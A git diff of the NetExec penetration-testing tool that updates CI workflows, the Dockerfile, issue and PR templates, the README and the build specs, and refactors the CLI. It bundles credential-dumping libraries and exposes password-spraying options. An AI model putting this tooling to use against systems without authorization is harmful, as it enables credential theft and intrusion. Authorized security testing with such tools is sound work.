feat(connection): log port as well

Add WMI to ntds_dump_raw module

.github/CODEOWNERS

@@ -3,4 +3,4 @@
 ##########################################
 
 # default ownership:
-* @zblurx @Marshall-Hallenbeck @NeffIsBack
+* @zblurx @Marshall-Hallenbeck @NeffIsBack @mpgn

.github/ISSUE_TEMPLATE/bug_report.md

@@ -1,3 +1,5 @@
+# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
+
 ---
 name: Bug report
 about: Create a report to help us improve
@@ -7,6 +9,8 @@ assignees: ''
 
 ---
 
+
+
 **Describe the bug**
 A clear and concise description of what the bug is.
 
@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
 
 **NetExec info**
  - OS: [e.g. Kali]
- - Version of nxc [e.g. v1.5.2]
- - Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
+ - Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
+ - Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
 
 **Additional context**
 Add any other context about the problem here.

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,18 @@
+---
+name: Feature request
+about: Request a new feature or enhancement
+title: ''
+labels: ''
+assignees: ''
+
+---
+**Please Describe The Problem To Be Solved**
+(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
+
+**(Optional): Suggest A Solution**
+(Replace This Text: A concise description of your preferred solution. Things to address include:
+* Details of the technical implementation
+* Tradeoffs made in design decisions
+* Caveats and considerations for the future
+
+If there are multiple solutions, please present each one separately. Save comparisons for the very end.)

.github/PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1,35 @@
+## Description
+
+Please include a summary of the change and which issue is fixed, or what the enhancement does.
+List any dependencies that are required for this change.
+
+## Type of change
+Insert an "x" inside the brackets for relevant items (do not delete options)
+
+- [ ] Bug fix (non-breaking change which fixes an issue)
+- [ ] New feature (non-breaking change which adds functionality)
+- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
+- [ ] Deprecation of feature or functionality
+- [ ] This change requires a documentation update
+- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
+
+## Setup guide for the review
+Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
+In particular:
+- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
+- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
+
+## Screenshots (if appropriate):
+Screenshots are always nice to have and can give a visual representation of the change.
+If appropriate include before and after screenshot(s) to show which results are to be expected.
+
+## Checklist:
+Insert an "x" inside the brackets for completed and relevant items (do not delete options)
+
+- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
+- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
+- [ ] New and existing e2e tests pass locally with my changes
+- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
+- [ ] I have performed a self-review of my own code
+- [ ] I have commented my code, particularly in hard-to-understand areas
+- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

.github/workflows/build-binaries.yml

@@ -10,28 +10,28 @@ jobs:
     strategy:
       matrix:
         os: [ubuntu-latest, macOS-latest, windows-latest]
-        python-version: ["3.11"]
+        python-version: ["3.13"]
         #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
     steps:
-    - uses: actions/checkout@v3
+    - uses: actions/checkout@v4
     - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v4
+      uses: actions/setup-python@v5
       with:
         python-version: ${{ matrix.python-version }}
     - name: Build Native Binary
       run: |
-        pip install pyinstaller
+        pip install pyinstaller pillow
         pip install .
         pyinstaller netexec.spec
     - name: Upload Windows Binary
       if: runner.os == 'windows'
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
         name: nxc.exe
         path: dist/nxc.exe
     - name: Upload Nix/OSx Binary
       if: runner.os != 'windows'
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
         name: nxc-${{ matrix.os }}
         path: dist/nxc

.github/workflows/build-zipapps.yml

@@ -10,11 +10,11 @@ jobs:
     strategy:
       matrix:
         os: [ubuntu-latest, macOS-latest, windows-latest]
-        python-version: ["3.8", "3.9", "3.10", "3.11"]
+        python-version: ["3.10", "3.11", "3.12", "3.13"]
     steps:
-    - uses: actions/checkout@v3
+    - uses: actions/checkout@v4
     - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v4
+      uses: actions/setup-python@v5
       with:
         python-version: ${{ matrix.python-version }}
     - name: Build Python ZipApp with Shiv
@@ -22,12 +22,12 @@ jobs:
         pip install shiv
         python build_collector.py
     - name: Upload nxc ZipApp
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
         name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
         path: bin/nxc
     - name: Upload nxcdb ZipApp
-      uses: actions/upload-artifact@v3
+      uses: actions/upload-artifact@v4
       with:
         name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
         path: bin/nxcdb

.github/workflows/lint.yml

@@ -0,0 +1,33 @@
+name: Lint Python code with ruff
+# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
+
+on:
+  push:
+  workflow_dispatch:
+  pull_request_review:
+    types: [submitted]
+
+jobs:
+  lint:
+    runs-on: ubuntu-latest
+    if:
+      github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
+
+    steps:
+      - uses: actions/checkout@v4
+      - name: Install poetry
+        run: |
+          pipx install poetry
+      - name: Set up Python
+        uses: actions/setup-python@v5
+        with:
+          python-version: 3.13
+          cache: poetry
+          cache-dependency-path: poetry.lock
+      - name: Install dependencies with dev group
+        run: |
+          poetry install --with dev
+      - name: Run ruff
+        run: |
+          poetry run ruff --version
+          poetry run ruff check . --preview

.github/workflows/netexec-test.yml

@@ -1,32 +0,0 @@
-name: NetExec Tests
-
-on:
-  pull_request_review:
-    types: [submitted]
-
-jobs:
-  build:
-    name: NetExec Tests for Py${{ matrix.python-version }}
-    runs-on: ${{ matrix.os }}
-    strategy:
-      max-parallel: 4
-      matrix:
-        os: [ubuntu-latest]
-        python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
-    steps:
-    - uses: actions/checkout@v3
-    - name: NetExec tests on ${{ matrix.os }}
-      uses: actions/setup-python@v4
-      with:
-        python-version: ${{ matrix.python-version }}
-    - name: Install poetry
-      run: |
-        pipx install poetry --python python${{ matrix.python-version }}
-        poetry --version
-        poetry env info
-    - name: Install libraries with dev group
-      run: |
-        poetry install --with dev
-    - name: Run the e2e test
-      run: |
-        poetry run pytest tests

.github/workflows/test.yml

@@ -0,0 +1,48 @@
+name: NetExec Tests
+
+on:
+  workflow_dispatch:
+  pull_request_review:
+    types: [submitted]
+
+jobs:
+  build:
+    name: Test for Py${{ matrix.python-version }}
+    if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
+    runs-on: ${{ matrix.os }}
+    strategy:
+      max-parallel: 5
+      matrix:
+        os: [ubuntu-latest]
+        python-version: ["3.10", "3.11", "3.12", "3.13"]
+    steps:
+      - uses: actions/checkout@v4
+      - name: Install poetry
+        run: |
+          pipx install poetry
+          poetry --version
+          poetry env info
+      - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
+        uses: actions/setup-python@v5
+        with:
+          python-version: ${{ matrix.python-version }}
+          cache: poetry
+          cache-dependency-path: poetry.lock
+      - name: Install with pipx
+        run: |
+          pipx install . --python python${{ matrix.python-version }}
+      - name: Install libraries with dev group
+        run: |
+          poetry install --with dev
+      - name: Load every protocol and module
+        run: |
+          poetry run netexec winrm 127.0.0.1
+          poetry run netexec vnc 127.0.0.1
+          poetry run netexec smb 127.0.0.1
+          poetry run netexec ldap 127.0.0.1
+          poetry run netexec wmi 127.0.0.1
+          poetry run netexec rdp 127.0.0.1
+          poetry run netexec mssql 127.0.0.1
+          poetry run netexec ssh 127.0.0.1
+          poetry run netexec ftp 127.0.0.1
+          poetry run netexec smb 127.0.0.1 -L

.gitignore

@@ -1,8 +1,10 @@
 data/nxc.db
 hash_spider_default.sqlite3
+hash_spider_testing.sqlite3
 *.bak
 *.log
 .venv
+pyvenv.cfg
 .vscode
 .idea
 # Byte-compiled / optimized / DLL files
@@ -57,9 +59,6 @@ coverage.xml
 *.mo
 *.pot
 
-# Django stuff:
-*.log
-
 # Sphinx documentation
 docs/_build/
 

Dockerfile

@@ -1,4 +1,32 @@
-FROM python:3.11-slim
+FROM python:3.13-slim-bookworm AS builder
+ENV LANG=C.UTF-8
+ENV LC_ALL=C.UTF-8
+ENV PIP_NO_CACHE_DIR=off
+
+WORKDIR /usr/src/netexec
+
+RUN apt update && \
+    apt install -y --no-install-recommends \
+        libffi-dev \
+        libxml2-dev \
+        libxslt-dev \
+        libssl-dev \
+        openssl \
+        autoconf \
+        g++ \
+        python3-dev \
+        curl \
+        git \
+        unzip \
+    && apt clean && rm -rf /var/lib/apt/lists/*
+
+RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
+ENV PATH="/root/.cargo/bin:${PATH}"
+
+RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
+    && pip install .
+
+FROM python:3.13-slim-bookworm
 
 ENV LANG=C.UTF-8
 ENV LC_ALL=C.UTF-8
@@ -6,17 +34,12 @@ ENV PIP_NO_CACHE_DIR=off
 
 WORKDIR /usr/src/netexec
 
-RUN apt-get update && \
-    apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
-RUN apt-get update
-# Get Rust
-RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
-# Add .cargo/bin to PATH
-ENV PATH="/root/.cargo/bin:${PATH}"
-# Check cargo is visible
-RUN cargo --help
+COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
+COPY --from=builder /usr/local/bin /usr/local/bin
 
-COPY . .
-RUN pip install .
+RUN apt update && \
+    apt install -y --no-install-recommends \
+        openssl \
+    && apt clean && rm -rf /var/lib/apt/lists/*
 
-ENTRYPOINT [ "nxc" ]
+ENTRYPOINT ["nxc"]

LICENSE

@@ -1,5 +1,5 @@
-Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx
-Copyright (c) 2022, byt3bl33d3r, mpgn_x64
+Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
+Copyright (c) 2022, byt3bl33d3r
 All rights reserved.
 
 Redistribution and use in source and binary forms, with or without

README.md

@@ -1,7 +1,8 @@
-![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)
+![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
 [![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
 [![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
 [![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
+[![Twitter](https://img.shields.io/twitter/follow/mpgn_x64?label=mpgn_x64&style=social)](https://twitter.com/intent/follow?screen_name=mpgn_x64)
 
 
 🚩 This is the open source repository of NetExec maintained by a community of passionate people
@@ -9,7 +10,7 @@
 
 This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
 
-Along with many other contributers, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bugfixes, and helped maintain the original project CrackMapExec.
+Along with many other contributors, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bug fixes, and helped maintain the original project CrackMapExec.
 During this time, with both a private and public repository, community contributions were not easily merged into the project. The 6-8 month discrepancy between the code bases caused many development issues and heavily reduced community-driven development.
 With the end of mpgn's maintainer role, we (the remaining most active contributors) decided to maintain the project together as a fully free and open source project under the new name **NetExec** 🚀
 Going forward, our intent is to maintain a community-driven and maintained project with regular updates for everyone to use.
@@ -20,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
 
 You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
 
-- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
+- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
 - 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
 - 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
 
@@ -36,6 +37,17 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
 # Installation
 Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
 
+## Linux
+```
+sudo apt install pipx git
+pipx ensurepath
+pipx install git+https://github.com/Pennyw0rth/NetExec
+```
+
+## Availability on Unix distributions
+
+[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
+
 # Development
 Development guidelines and recommendations in development
 
@@ -50,3 +62,4 @@ Awesome code contributors of NetExec:
 [![](https://github.com/zblurx.png?size=50)](https://github.com/zblurx)
 [![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack)
 [![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo)
+[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)

build_collector.py

@@ -1,6 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 import os
 import shutil
 import subprocess
@@ -11,27 +8,26 @@ from pathlib import Path
 
 from shiv.bootstrap import Environment
 
-# from distutils.ccompiler import new_compiler
 from shiv.builder import create_archive
 from shiv.cli import __version__ as VERSION
 
 
 def build_nxc():
-    print("building nxc")
+    print("Building nxc")
     try:
         shutil.rmtree("bin")
         shutil.rmtree("build")
-    except Exception as e:
+    except FileNotFoundError:
         pass
+    except Exception as e:
+        print(f"Exception while removing bin & build: {e}")
 
     try:
-        print("remove useless files")
         os.mkdir("build")
         os.mkdir("bin")
         shutil.copytree("nxc", "build/nxc")
-
     except Exception as e:
-        print(e)
+        print(f"Exception while creating bin and build directories: {e}")
         return
 
     subprocess.run(
@@ -48,7 +44,6 @@ def build_nxc():
         check=True,
     )
 
-    # [shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
     [shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")]
 
     env = Environment(
@@ -93,7 +88,7 @@ if __name__ == "__main__":
     try:
         build_nxc()
         build_nxcdb()
-    except:
+    except FileNotFoundError:
         pass
     finally:
         shutil.rmtree("build")

flake.lock

@@ -1,92 +0,0 @@
-{
-  "nodes": {
-    "flake-utils": {
-      "locked": {
-        "lastModified": 1649676176,
-        "narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
-        "owner": "numtide",
-        "repo": "flake-utils",
-        "rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
-        "type": "github"
-      },
-      "original": {
-        "owner": "numtide",
-        "repo": "flake-utils",
-        "type": "github"
-      }
-    },
-    "flake-utils_2": {
-      "locked": {
-        "lastModified": 1649676176,
-        "narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
-        "owner": "numtide",
-        "repo": "flake-utils",
-        "rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
-        "type": "github"
-      },
-      "original": {
-        "owner": "numtide",
-        "repo": "flake-utils",
-        "type": "github"
-      }
-    },
-    "nixpkgs": {
-      "locked": {
-        "lastModified": 1651248272,
-        "narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
-        "owner": "NixOS",
-        "repo": "nixpkgs",
-        "rev": "8758d58df0798db2b29484739ca7303220a739d3",
-        "type": "github"
-      },
-      "original": {
-        "owner": "NixOS",
-        "repo": "nixpkgs",
-        "type": "github"
-      }
-    },
-    "nixpkgs_2": {
-      "locked": {
-        "lastModified": 1651248272,
-        "narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
-        "owner": "NixOS",
-        "repo": "nixpkgs",
-        "rev": "8758d58df0798db2b29484739ca7303220a739d3",
-        "type": "github"
-      },
-      "original": {
-        "owner": "NixOS",
-        "repo": "nixpkgs",
-        "type": "github"
-      }
-    },
-    "poetry2nix": {
-      "inputs": {
-        "flake-utils": "flake-utils_2",
-        "nixpkgs": "nixpkgs_2"
-      },
-      "locked": {
-        "lastModified": 1651165059,
-        "narHash": "sha256-/psJg8NsEa00bVVsXiRUM8yL/qfu05zPZ+jJzm7hRTo=",
-        "owner": "nix-community",
-        "repo": "poetry2nix",
-        "rev": "ece2a41612347a4fe537d8c0a25fe5d8254835bd",
-        "type": "github"
-      },
-      "original": {
-        "owner": "nix-community",
-        "repo": "poetry2nix",
-        "type": "github"
-      }
-    },
-    "root": {
-      "inputs": {
-        "flake-utils": "flake-utils",
-        "nixpkgs": "nixpkgs",
-        "poetry2nix": "poetry2nix"
-      }
-    }
-  },
-  "root": "root",
-  "version": 7
-}

flake.nix

@@ -1,36 +0,0 @@
-{
-  description = "Application packaged using poetry2nix";
-
-  inputs.flake-utils.url = "github:numtide/flake-utils";
-  inputs.nixpkgs.url = "github:NixOS/nixpkgs";
-  inputs.poetry2nix.url = "github:nix-community/poetry2nix";
-
-  outputs = { self, nixpkgs, flake-utils, poetry2nix }:
-    {
-      # Nixpkgs overlay providing the application
-      overlay = nixpkgs.lib.composeManyExtensions [
-        poetry2nix.overlay
-        (final: prev: {
-          # The application
-          NetExec = prev.poetry2nix.mkPoetryApplication {
-            projectDir = ./.;
-          };
-        })
-      ];
-    } // (flake-utils.lib.eachDefaultSystem (system:
-      let
-        pkgs = import nixpkgs {
-          inherit system;
-          overlays = [ self.overlay ];
-        };
-      in
-      {
-        apps = {
-          NetExec = pkgs.NetExec;
-        };
-
-        defaultApp = pkgs.NetExec;
-
-        packages = { NetExec = pkgs.NetExec; };
-      }));
-}

netexec.spec

@@ -13,18 +13,27 @@ a = Analysis(
         ('./nxc/modules', 'nxc/modules')
      ],
      hiddenimports=[
+        'aardwolf',
+        'aardwolf.connection',
+        'aardwolf.commons.queuedata.constants',
+        'aardwolf.commons.iosettings',
+        'aardwolf.commons.target',
+        'aardwolf.protocol.x224.constants',
         'impacket.examples.secretsdump',
+        'impacket.examples.regsecrets',
         'impacket.dcerpc.v5.lsat',
         'impacket.dcerpc.v5.transport',
         'impacket.dcerpc.v5.lsad',
         'impacket.dcerpc.v5.gkdi',
         'impacket.dcerpc.v5.rprn',
+        'impacket.dcerpc.v5.even',
+        'impacket.dcerpc.v5.even6',
         'impacket.dpapi_ng',
         'impacket.tds',
         'impacket.version',
         'impacket.ldap.ldap',
+        'jwt',
         'nxc.connection',
-        'nxc.servers.smb',
         'nxc.protocols.smb.wmiexec',
         'nxc.protocols.smb.atexec',
         'nxc.protocols.smb.smbexec',
@@ -32,14 +41,17 @@ a = Analysis(
         'nxc.protocols.smb.smbspider',
         'nxc.protocols.smb.passpol',
         'nxc.protocols.mssql.mssqlexec',
+        'nxc.parsers.ldap_results',
         'nxc.helpers.bash',
         'nxc.helpers.bloodhound',
+        'nxc.helpers.even6_parser',
         'nxc.helpers.msada_guids',
+        'nxc.helpers.ntlm_parser',
         'paramiko',
         'pypsrp.client',
-        'pywerview.cli.helpers',
         'pylnk3',
         'pypykatz',
+        'pyNfsClient',
         'masky',
         'msldap',
         'msldap.connection',
@@ -48,6 +60,7 @@ a = Analysis(
         'lsassy.parser',
         'lsassy.session',
         'lsassy.impacketfile',
+        'bloodhound',
         'dns',
         'dns.name',
         'dns.resolver',
@@ -58,12 +71,17 @@ a = Analysis(
         'dploot.triage.browser',
         'dploot.triage.credentials',
         'dploot.triage.masterkeys',
+        'dploot.triage.mobaxterm',
         'dploot.triage.backupkey',
+        'dploot.triage.wam',
         'dploot.triage.wifi',
+        'dploot.triage.sccm',
         'dploot.lib.target',
         'dploot.lib.smb',
         'pyasn1_modules.rfc5652',
         'unicrypto.backends.pycryptodomex',
+        'dateutil.relativedelta',
+        'sspilib.raw._text',
      ],
      hookspath=['./nxc/.hooks'],
      runtime_hooks=[],

nxc/.hooks/hook-lsassy.py

@@ -1,6 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 from PyInstaller.utils.hooks import collect_all
 
 datas, binaries, hiddenimports = collect_all("lsassy")

nxc/.hooks/hook-pypykatz.py

@@ -1,6 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 from PyInstaller.utils.hooks import collect_all
 
 datas, binaries, hiddenimports = collect_all("pypykatz")

nxc/cli.py

@@ -1,26 +1,62 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 import argparse
+import argcomplete
 import sys
 from argparse import RawTextHelpFormatter
+from os import listdir
+from os.path import dirname
+from os.path import join as path_join
+import nxc
+from nxc.paths import NXC_PATH
 from nxc.loaders.protocolloader import ProtocolLoader
 from nxc.helpers.logger import highlight
-from termcolor import colored
-from nxc.logger import nxc_logger
+from nxc.helpers.args import DisplayDefaultsNotNone
+from nxc.logger import nxc_logger, setup_debug_logging
 import importlib.metadata
 
 
 def gen_cli_args():
-    VERSION = importlib.metadata.version("netexec")
-    CODENAME = "A New Beginning"
+    setup_debug_logging()
 
-    parser = argparse.ArgumentParser(description=f"""
-     _   _          _     _____                      
-    | \ | |   ___  | |_  | ____| __  __   ___    ___ 
-    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
-    | |\  | |  __/ | |_  | |___   >  <  |  __/ | (__ 
-    |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
+    try:
+        VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
+        DISTANCE, COMMIT = COMMIT.split(".")
+    except ValueError:
+        VERSION = importlib.metadata.version("netexec")
+        COMMIT = ""
+        DISTANCE = ""
+    CODENAME = "SmoothOperator"
+
+    generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
+    generic_group.add_argument("--version", action="store_true", help="Display nxc version")
+    generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
+    generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
+    generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
+
+    output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
+    output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
+    output_group.add_argument("--debug", action="store_true", help="enable debug level information")
+    output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
+    output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
+
+    dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    dns_group = dns_parser.add_argument_group("DNS")
+    dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
+    dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
+    dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
+    dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
+
+    parser = argparse.ArgumentParser(
+        description=rf"""
+     .   .
+    .|   |.     _   _          _     _____
+    ||   ||    | \ | |   ___  | |_  | ____| __  __   ___    ___
+    \\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
+    .=[ ]=.    | |\  | |  __/ | |_  | |___   >  <  |  __/ | (__
+   / /˙-˙\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
+   ˙ \   / ˙
+     ˙   ˙
 
     The network execution tool
     Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -29,177 +65,84 @@ def gen_cli_args():
 
     {highlight('Version', 'red')} : {highlight(VERSION)}
     {highlight('Codename', 'red')}: {highlight(CODENAME)}
+    {highlight('Commit', 'red')}  : {highlight(COMMIT)}
     """,
         formatter_class=RawTextHelpFormatter,
+        parents=[generic_parser, output_parser, dns_parser]
     )
 
-    parser.add_argument(
-        "-t",
-        type=int,
-        dest="threads",
-        default=100,
-        help="set how many concurrent threads to use (default: 100)",
-    )
-    parser.add_argument(
-        "--timeout",
-        default=None,
-        type=int,
-        help="max timeout in seconds of each thread (default: None)",
-    )
-    parser.add_argument(
-        "--jitter",
-        metavar="INTERVAL",
-        type=str,
-        help="sets a random delay between each connection (default: None)",
-    )
-    parser.add_argument(
-        "--no-progress",
-        action="store_true",
-        help="Not displaying progress bar during scan",
-    )
-    parser.add_argument("--verbose", action="store_true", help="enable verbose output")
-    parser.add_argument("--debug", action="store_true", help="enable debug level information")
-    parser.add_argument("--version", action="store_true", help="Display nxc version")
-
     # we do module arg parsing here so we can reference the module_list attribute below
-    module_parser = argparse.ArgumentParser(add_help=False)
-    mgroup = module_parser.add_mutually_exclusive_group()
-    mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
-    module_parser.add_argument(
-        "-o",
-        metavar="MODULE_OPTION",
-        nargs="+",
-        default=[],
-        dest="module_options",
-        help="module options",
-    )
-    module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
-    module_parser.add_argument(
-        "--options",
-        dest="show_module_options",
-        action="store_true",
-        help="display module options",
-    )
-    module_parser.add_argument(
-        "--server",
-        choices={"http", "https"},
-        default="https",
-        help="use the selected server (default: https)",
-    )
-    module_parser.add_argument(
-        "--server-host",
-        type=str,
-        default="0.0.0.0",
-        metavar="HOST",
-        help="IP to bind the server to (default: 0.0.0.0)",
-    )
-    module_parser.add_argument(
-        "--server-port",
-        metavar="PORT",
-        type=int,
-        help="start the server on the specified port",
-    )
-    module_parser.add_argument(
-        "--connectback-host",
-        type=str,
-        metavar="CHOST",
-        help="IP for the remote system to connect back to (default: same as server-host)",
-    )
+    module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
+    mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
+    mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
+    mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
+    mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
+    mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
 
-    subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
+    subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
 
-    std_parser = argparse.ArgumentParser(add_help=False)
-    std_parser.add_argument(
-        "target",
-        nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*",
-        type=str,
-        help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)",
-    )
-    std_parser.add_argument(
-        "-id",
-        metavar="CRED_ID",
-        nargs="+",
-        default=[],
-        type=str,
-        dest="cred_id",
-        help="database credential ID(s) to use for authentication",
-    )
-    std_parser.add_argument(
-        "-u",
-        metavar="USERNAME",
-        dest="username",
-        nargs="+",
-        default=[],
-        help="username(s) or file(s) containing usernames",
-    )
-    std_parser.add_argument(
-        "-p",
-        metavar="PASSWORD",
-        dest="password",
-        nargs="+",
-        default=[],
-        help="password(s) or file(s) containing passwords",
-    )
-    std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
-    std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
-    std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
-    std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
-    std_parser.add_argument(
-        "--use-kcache",
-        action="store_true",
-        help="Use Kerberos authentication from ccache file (KRB5CCNAME)",
-    )
-    std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
-    std_parser.add_argument(
-        "--aesKey",
-        metavar="AESKEY",
-        nargs="+",
-        help="AES key to use for Kerberos Authentication (128 or 256 bits)",
-    )
-    std_parser.add_argument(
-        "--kdcHost",
-        metavar="KDCHOST",
-        help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter",
-    )
+    std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
